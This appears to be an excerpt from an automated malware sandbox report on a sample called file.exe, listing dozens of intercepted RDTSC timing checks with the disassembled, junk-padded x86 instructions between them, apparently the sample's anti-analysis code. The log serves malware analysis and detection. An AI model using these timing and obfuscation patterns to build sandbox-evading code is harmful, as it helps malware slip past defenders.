Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBCDA second address: 6DBCE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBCE0 second address: 6DBCEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F145915A7C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBCEA second address: 6DBD22 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1458521AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d jnc 00007F1458521AB6h 0x00000013 or dword ptr [ebp+122D3467h], esi 0x00000019 lea ebx, dword ptr [ebp+1244F854h] 0x0000001f pushad 0x00000020 mov dword ptr [ebp+122D3956h], ecx 0x00000026 mov ebx, dword ptr [ebp+122D2C28h] 0x0000002c popad 0x0000002d xchg eax, ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 push ebx 0x00000031 je 00007F1458521AB6h 0x00000037 pop ebx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBD22 second address: 6DBD57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F145915A7D8h 0x00000008 jne 00007F145915A7C6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jns 00007F145915A7C6h 0x0000001b jp 00007F145915A7C6h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBD57 second address: 6DBD61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F1458521AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBDA7 second address: 6DBDB9 instructions: 0x00000000 rdtsc 0x00000002 js 00007F145915A7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBDB9 second address: 6DBDBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBDBF second address: 6DBDC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBDC5 second address: 6DBDFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521ABEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov edx, dword ptr [ebp+122D29CCh] 0x00000012 push 00000000h 0x00000014 mov ecx, 54233BDDh 0x00000019 movsx edi, ax 0x0000001c call 00007F1458521AB9h 0x00000021 jp 00007F1458521AC4h 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBDFC second address: 6DBE10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F145915A7C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBE10 second address: 6DBE32 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1458521AB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push ecx 0x0000000f push ebx 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop ebx 0x00000013 pop ecx 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007F1458521ABCh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBE32 second address: 6DBE36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBE36 second address: 6DBE6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F1458521AC8h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 jmp 00007F1458521ABFh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBE6C second address: 6DBE70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBE70 second address: 6DBF0E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1458521AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop eax 0x0000000c mov edx, ecx 0x0000000e push 00000003h 0x00000010 and edi, 2216C31Ah 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F1458521AB8h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 add edx, 38712E9Eh 0x00000038 push 00000003h 0x0000003a mov edx, dword ptr [ebp+122D2BB4h] 0x00000040 push 92409A31h 0x00000045 jno 00007F1458521ABEh 0x0000004b je 00007F1458521AB8h 0x00000051 pushad 0x00000052 popad 0x00000053 add dword ptr [esp], 2DBF65CFh 0x0000005a mov dword ptr [ebp+122D3467h], ecx 0x00000060 lea ebx, dword ptr [ebp+1244F85Fh] 0x00000066 mov dword ptr [ebp+122D1D93h], edi 0x0000006c xchg eax, ebx 0x0000006d push ebx 0x0000006e pushad 0x0000006f jng 00007F1458521AB6h 0x00000075 jmp 00007F1458521AC1h 0x0000007a popad 0x0000007b pop ebx 0x0000007c push eax 0x0000007d push eax 0x0000007e push edx 0x0000007f jc 00007F1458521AB8h 0x00000085 push edx 0x00000086 pop edx 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBF0E second address: 6DBF15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC4BE second address: 6FC4D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1458521ABAh 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA44F second address: 6FA457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA71F second address: 6FA73C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1458521AC3h 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA8A4 second address: 6FA8A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA8A8 second address: 6FA8DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1458521ABAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d jno 00007F1458521AC3h 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007F1458521AB6h 0x0000001b je 00007F1458521AB6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA8DB second address: 6FA8DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAA56 second address: 6FAA5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FABF3 second address: 6FABF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FABF8 second address: 6FAC02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F1458521AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAE7E second address: 6FAE8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F145915A7C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAE8A second address: 6FAE98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAE98 second address: 6FAE9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAE9E second address: 6FAEA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAEA4 second address: 6FAEAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAEAA second address: 6FAEB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAEB6 second address: 6FAEBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAEBA second address: 6FAEBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC337 second address: 6FC359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F145915A7CEh 0x0000000e jmp 00007F145915A7CBh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C08F2 second address: 6C0901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jnl 00007F1458521AB8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705036 second address: 70503A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70503A second address: 705040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703D12 second address: 703D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F145915A7C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7045B0 second address: 7045B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706B13 second address: 706B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 ja 00007F145915A7C6h 0x0000000c jmp 00007F145915A7CCh 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706B2C second address: 706B4F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1458521AC9h 0x00000008 jns 00007F1458521ABCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706B4F second address: 706B63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jbe 00007F145915A7C6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDF33 second address: 6CDF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDF39 second address: 6CDF50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F145915A7CDh 0x00000009 popad 0x0000000a push esi 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDF50 second address: 6CDF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDF55 second address: 6CDF62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F145915A7C6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDF62 second address: 6CDF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F1458521ABBh 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F1458521ABAh 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F1458521AC1h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A597 second address: 70A5BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F145915A7CCh 0x00000009 pop ebx 0x0000000a pushad 0x0000000b jmp 00007F145915A7CFh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1428 second address: 6D142F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D142F second address: 6D1435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1435 second address: 6D143A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D143A second address: 6D143F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D143F second address: 6D1458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F1458521ABEh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709957 second address: 709968 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7CDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709968 second address: 7099C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F1458521ABCh 0x0000000c jmp 00007F1458521AC3h 0x00000011 pushad 0x00000012 jnl 00007F1458521AB6h 0x00000018 jmp 00007F1458521AC6h 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F1458521AC0h 0x00000026 push edi 0x00000027 push ecx 0x00000028 pop ecx 0x00000029 pushad 0x0000002a popad 0x0000002b pop edi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709B3C second address: 709B41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709B41 second address: 709B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709DCF second address: 709DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jmp 00007F145915A7D6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A391 second address: 70A3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1458521AC8h 0x00000009 popad 0x0000000a jnp 00007F1458521ABEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A3BC second address: 70A3E5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F145915A7D4h 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A3E5 second address: 70A3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A3EB second address: 70A3F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A3F0 second address: 70A418 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1458521ABCh 0x00000009 jmp 00007F1458521AC8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70DCF1 second address: 70DCFB instructions: 0x00000000 rdtsc 0x00000002 js 00007F145915A7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70DCFB second address: 70DD05 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1458521ABCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E2B5 second address: 70E2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E2B9 second address: 70E2E0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1458521AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F1458521AB8h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1458521AC1h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E2E0 second address: 70E2E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E95C second address: 70E960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EBDD second address: 70EBE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EBE1 second address: 70EBF7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1458521ABCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EE4E second address: 70EE52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EE52 second address: 70EE5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70FB8D second address: 70FB98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70FB98 second address: 70FB9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710DDC second address: 710DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71197E second address: 711984 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711984 second address: 71198A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71198A second address: 71198E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7123A3 second address: 712411 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F145915A7C8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 movsx esi, ax 0x00000026 push 00000000h 0x00000028 cld 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007F145915A7C8h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 00000015h 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 jmp 00007F145915A7D2h 0x0000004a xchg eax, ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e push edi 0x0000004f pop edi 0x00000050 push edx 0x00000051 pop edx 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712411 second address: 71241C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F1458521AB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712D66 second address: 712D6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712D6A second address: 712DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F1458521ABEh 0x0000000c pop ebx 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 clc 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 jmp 00007F1458521AC8h 0x0000001a pop edi 0x0000001b push 00000000h 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F1458521AC9h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712DBF second address: 712DD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F145915A7CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712DD0 second address: 712DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1458521ABFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712DEB second address: 712DF5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F145915A7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2F37 second address: 6D2F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713655 second address: 713659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2F3E second address: 6D2F4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F1458521ABAh 0x0000000b rdtsc
